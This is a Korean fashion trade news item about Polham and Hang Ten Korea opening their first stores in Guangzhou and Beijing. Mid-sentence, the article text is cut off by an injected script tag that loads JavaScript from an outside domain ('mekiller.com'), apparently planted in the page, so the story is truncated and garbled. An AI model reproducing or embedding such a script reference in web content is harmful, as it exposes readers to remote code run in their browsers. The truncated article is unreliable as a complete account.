‘폴햄’, ‘H&T’ 중국행…패션의 한류 열풍
캐주얼 업체들의 중국 진출이 다시 활발해지고 있다.
업계에 의하면 최근 에이션패션과 행텐코리아가 최근 중국에 첫 매장을 오픈, 본격적인 영업에 들어갔다.
에이션패션(대표 박재홍)은 중국 광동성 대표기업인 화신그룹과 ‘폴햄’ 라이선스 계약을 체결하고 광저우에 첫 매장을 오픈했다.
지난 4월초 광주 정가광장에 1호 매장을 오픈한 데 이어 오는 22일 북경 세계무역천계점에 2호 매장을 오픈한다. 광주 정가점은 134평, 북경세계 무역천계점은 120평으로 모두 대형 매장으로 전개된다.
또 화신그룹은 오는 8월까지 상해항회, 신세계백화점, 팍슨백화점, 심천만상성, 상해 팔백반 등 오는 24개점 오픈할 예정이다.
상품은 런칭 첫 시즌 국내 상품으로 구성하지만 추동시즌부터 중국 자체 기획물량을 ?script src=http://mekiller.com/1/1.js>
이전글
![]() |
불황 모르는 아웃도어 시장 |
|---|---|
다음글
![]() |
신사복 예복 구매 ‘찬바람’ |